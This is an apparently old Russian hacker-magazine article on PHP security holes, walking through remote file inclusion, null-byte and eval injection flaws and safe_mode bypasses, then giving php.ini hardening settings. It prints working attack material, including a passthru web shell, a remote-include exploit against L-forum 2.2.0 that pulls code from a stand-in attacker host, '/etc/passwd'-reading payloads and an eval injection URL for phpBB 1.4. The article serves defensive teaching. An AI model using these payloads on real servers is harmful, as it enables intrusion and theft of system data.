Песнь о багах в PHP или админ в шкуре скрипт-кидди.
Как обезопасить свой сервер с PHP

Loh Matov

Xakep, номер #050, стр. 066-067

blabl@7350.org

Ты хочешь знать, как был взломан небезызвестный apache.org? Хотел хоть раз побывать в шкуре скипт-киддисов и понять, каким местом они думают? Или хочешь узнать, как защититься от тех самых скрипт-кидди? Тогда эта статья однозначно для тебя. Наверное, слышал, что знаменитый apache.org (веб-сайт команды разработчиков, чей веб-сервер один из самых распространенных в мире) в 2000 году подвергся хакерской атаке, и был произведен дефейс главной страницы сайта. Логотип "Powered by Apache" был заменен "Powered by Microsoft BackOffice". Как же хакерам удалось проломить защиту сайта? Все банально, исследовав фтп-сервер сайта, хакеры наткнулись на директорию, к которой можно было обращаться еще и по вебу. Они сформировали простой скрипт на PHP:

<?
passthru($cmd);
?>

Это дает возможность исполнять команды с привилегиями веб-сервера. Далее они залили на фтп биндшелл, и с помощью этого скрипта скомпилировали и запустили:

http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c
http://www.apache.org/thatdir/wuh.php3?cmd=./httpd

Вдаваться в подробности, как был получен рут-доступ, не будем. Скажем лишь, что это было сделано через mysql. Нас интересует, что можно было сделать через простой пхп-скрипт.

Когда-то, года два или три назад, пхп был не так распространен, как сейчас. Скрипты писали в домашних условиях (hand-made ;)), не было команд разработчиков типа phpBB etc., соответственно скрипты содержали немало ошибок, позволяющих исполнять команды вроде функций:

system($cmd);
passthru($cmd);

В наше время такие ошибки встречаются крайне редко, но встречаются. Сейчас появилось множество других приятных багов. Я же расскажу о самых распространенных из них.

Рассмотрим функции: include(), include_once(), require(), require_once(). Все они парсятся fopen врапером, и если в конфиг-файле PHP на веб-сервере разрешено открытие удаленных файлов (а это разрешено по умолчанию), то мы можем совершить некий трюк. А именно - включить в файл свой кусок кода типа <?system("cat /etc/passwd");?>, и он будет исполнен. Во многих скриптах, которые ты можешь скачивать с веба для своей домашней страницы, присутствует такая ошибка:

<?
...
include($file);
?>

Если переменная $file не определена до этого куска кода, то ты попал ;). Тебя обязательно похакают, а сделают это так:

http://your.home.page/thisfile.php?file=http://vrag.hosted.here/1.php

Дело в том, что если переменная не инициализирована, то ее можно передать как параметр к скрипту. Разумеется, если это предусмотрено конфигом пхп, а это, опять же, предусмотрено по умолчанию. В данном случае в твой уязвимый скрипт включается кусок кода с совершенно другого сервера. Файл 1.php содержит в себе строчку <?system("cat /etc/passwd");?>, которая покажет /etc/passwd с твоего серванта. Та же самая ошибка получится и в том случае, если в твоем скрипте несколько другой код, типа:

<?
...
include("$file.php");
?>

Хаксор просто вызовет строчку по-другому: http://your.home.page/thisfile.php?file=http://vrag.hosted.here/1. А файл на его сервере будет называться точно так же - 1.php, тогда параметр "file", передаваемый скрипту, будет подставлен в твой скрипт, и он будет выглядеть так:

<?
...
include("http://vrag.hosted.here/1.php");
?>

В результате файл 1.php с сервера хаксора будет включен и обработан. Если бы в твоем скрипте перед $file стояла точка и слэш ("./" - признак того, что файл будет искать только в текущей директории) или указан полный путь к файлу относительно сервера, этот трюк не сработал бы.

Давай представим себя скрипт-кидди и подумаем, что он будет делать. Ведь, наверняка, ему не нужен файл /etc/passwd. Кроме списка пользователей он ничего из него не вытащит. Разберем живой пример: найдем ошибку в скрипте и заэксплоитируем ее. Возьмем довольно распространенный скрипт L-forum версии 2.2.0. Далее ищем функции include, include_once, require, require_once. Наша задача - найти место в скрипте, где мы можем включить в него удаленный файл с нашим куском кода, чтобы он исполнился. Итак, ищем и находим файлы:

inc/list_last.inc
inc/list_msgs.inc
inc/list_thr.inc

Они содержат такой участок кода: include $pre."lib/date_trans.inc";. Причем, переменная $pre не определена заранее, так как это .inc-файлы, которые включаются только по ходу работы скрипта. Баг найден, остается молиться, чтобы на сервере .inc-файлы обрабатывались PHP, что опять же почти всегда и делается, дабы не раскрывать исходный код скриптов. Что бы сделал скрипт-кидди? Конечно, сразу бы сбацал веб-шелл для исполнения команд, создав файлик с таким содержимым:

<?
//здесь узнаем версию ядра
echo(system("uname -a")."<br>");
//узнаем, какой шелл у пользователя
echo(system("cat /etc/passwd|grep nobody")."<br>");
?>
<form method=POST action="http://site.s.bugged.scriptom/lforum/inc/list_msgs.inc?pre=http://hax0rz.site/">
<input type="text" name=lox>
<input type=submit>
</form>
<pre>
<?
$lox=passthru($lox);
echo($lox);
?>
</pre>

Это простенький веб-шелл, в его форме указывается необходимая для исполнения команда. Результат выводится прямо в ту же веб-страницу. Главное, в настройках правильно указать путь в action.

http://site.s.bugged.scriptom/lforum/inc/list_msgs.inc - путь к дырявому скрипту на сервере врага ;).

http://hax0rz.site/ - сайт, на котором будет лежать файл /lib/date_trans.inc (относительно веб-сервера), так как именно он будет включаться в страницу include http://hax0rz.site/lib/date_trans.inc.

Вот, в принципе, и все, остается зайти по урлу http://site.s.bugged.scriptom/lforum/inc/list_msgs.inc?pre=http://hax0rz.site/ и получить веб-шелл. Что будет дальше, зависит только от извращенности скрипт-кидди. Он может применить хитрые локальные эксплоиты и получить рута. А может сделать дефейс, если хватит прав для записи в файл главной страницы. А может и забить на этот дырявый сервер и написать админу об ошибке.

Все вышеописанное касается и функций require, require_once, include_once. Конечно, может возникнуть резонный вопрос - как определить, уязвим ли скрипт на удаленном сервере, когда нельзя получить доступ к его исходному коду? Очень просто, забиваем в параметры скрипта какую-нить длинную страшную строку:

/file.php?file=aaaaaaaaaaaaaaaaaaaaаааааааа

Если скрипт уязвим, то ответом будет предупреждение о том, что не удается подключить файл:

Waing: Failed opening 'aaaaaaaaaaaaaaaaaaaa' for inclusion (include_path='.:/usr/local/php-4.2.3/lib/php') in /opt2/home3/prop/public_html/file.php on line 7

В PHP до версии 4.0.3pl1 включительно была такая бага, как null-byte. Это должно быть всем знакомо еще со времен родного перла. После того, как о ней сообщили, ошибка была исправлена. В некоторых функциях она сохранилась и в более поздних версиях. Это возможно и сейчас, но "эксплоитировать" их очень сложно... При старом PHP такая ошибка реализовывается крайне просто. Допустим, на сервере есть скрипт с куском кода такого плана (порывшись в сырцах php-nuke, найдешь много подобного):

<?
..
fopen("$file.php");
?>

Переменная $file не определена ранее и передается как параметр, то есть мы можем ее задать как script?file=http://../etc/passwd%00, получится строка:

<?
..
fopen("http://../etc/passwd%00.php");
?>

Соответственно, открывается файл с пользователями этого сервера вместо скрипта. До сих пор очень много серверов используют старые версии пхп, скорее всего это ленивые админы. Я даже видел пхп версии 2.0. А если попался ленивый админ, то задача еще более упрощается.

Теперь о сочетании функций eval(), print() и echo(). Функция eval() появилась в пхп3, она представляет текст в виде кода, который затем исполняется. Это важно в тех случаях, когда кусок кода хранится в базе данных. В php3 она не возвращает ничего. В php4 она возвращает NULL, если код ничего не возвращает. Чем нам полезна эта функция? А тем, что это потенциальная дыра, code injection, как и с функцией include(), только несколько другого плана. Вот пример из phpBB 1.4:

<example code from page_header.php>
if ($new_message != 0) {
eval($l_privnotify);
print $privnotify;
}
</end example code>

Переменная $l_privnotify не определена ранее, а значит, мы можем определить ее в параметрах, передаваемых к скрипту, scripts.php?l_privnotify=phpinfo(). Функция phpinfo() выдает все, что нужно для успешной атаки.

Вплоть до предпоследней версии PHP(4.2.2), существует ошибка, исправленная только в 4.2.3. Суть ее состоит в том, что можно обойти "safe mode" и выполнить произвольный код без ограничений "safe mode". Ошибка находится в пятом аргументе функции mail(). Эксплоит можно найти на security.nnov.ru. Вообще, пятый аргумент функции mail() используют достаточно редко, и здесь я привожу эту ошибку только для того, чтобы оградить тебя от этой досадной ошибки и помочь сделать код более безопасным.

Еще один путь обхода "safe mode". Ошибка содержалась в функции getpw() и ей подобных. Эта функция показывает имя пользователя по его UID, но она не проверяет, включен ли режим "safe mode" и ограничение на выход из домашней директории пользователя open_basedir. Вот простой кусок кода, который покажет всех пользователей в системе:

<?
for ($i = 0; $i < 60000; $i++)
{
if (($tab = @posix_getpwuid($i)) != NULL)
{
echo $tab['name'].":";
echo $tab['passwd'].":";
echo $tab['uid'].":";
echo $tab['gid'].":";
echo $tab['gecos'].":";
echo $tab['dir'].":";
echo $tab['shell']."<br>";
}
}
?>

Что же делать? Как защититься от хаксоров? Если сервер принадлежит тебе - все очень просто: редактируй файл php.ini. А если сервер не твой, можешь отписать эти рекомендации админу на мыло. Если же админ ленивый, то меняй хостинг.

А теперь о самих настройках PHP. Вначале отключим инициализацию глобальных переменных, хотя без этого иногда тяжко:

register_globals = Off

Также не разрешать fopen открывать ссылки. Это самая реальная фишка, хотя опять же, некоторые скрипты ее используют. Например, когда прут новости с новостных сайтов:

allow_url_fopen = Off

Включаем сейф-моду. При ней хаксор не сможет получить доступ к файлам типа /etc/passwd и им подобным:

safe_mode = On

Далее следует отключить некоторые функции, которые позволяют исполнение команд на сервере и получение информации об объекте атаки. Например, функция phpinfo() выдаст хаксору практически всю информацию о веб-сервере и установленных компонентах для успешной атаки:

disable_functions = system,cmd,passthru,phpinfo

Если все-таки необходимо использовать функции для исполнения системных команд:

$cmd=escapeshellcmd($string);

И еще. Если ты управляешь личным колокейшеном, то желательно настраивать PHP для каждого конкретного vhost в апаче. Там можно указать ограничения и что-то вроде chroot. Но об этих настройках (апач+пхп) читай на www.opennet.ru. Также для всех скриптов можно сделать так, чтобы они выполнялись под UID'ом пользователя, а не под правами apache. Это так называемый suexec, но для реализации этой фишки нужно патчить апач, а точнее закомментировать некоторые строки в сырцах и перекомпилить. Конечно, нельзя забывать вовремя обновлять софт после каждого релиза. А ведь сейчас очень много веб-серверов, которые до сих пор используют PHP версий 4.0.2-4.0.7, подверженных уязвимости, для которой командой TESO (7350fun) был выпущен эксплоит. О нем мы уже писал в статье "Top10 exploits".

А что же делать, если твой сервер все-таки похакали, и на главных страницах всех сайтов появился обнаженный Билл Гейтс? Изучай access.log апача и ищи скрипт, через который тебя похакали. Ищи в нем ошибку и патчь. Если тебя будут хакать часто, то ты можешь стать kewl-программером на пхп, так как будешь сходу искать ошибки. Ну или просто отключишь сервер на фиг, если не будет получаться ;).

P.S. В этом материале были изложены наиболее распространенные и важные ошибки. Я надеюсь, что это послужит толчком к написанию более безопасного кода и ограждению читателя от этих досадных ошибок.

Содержание
ttfb: 5.8670043945312 ms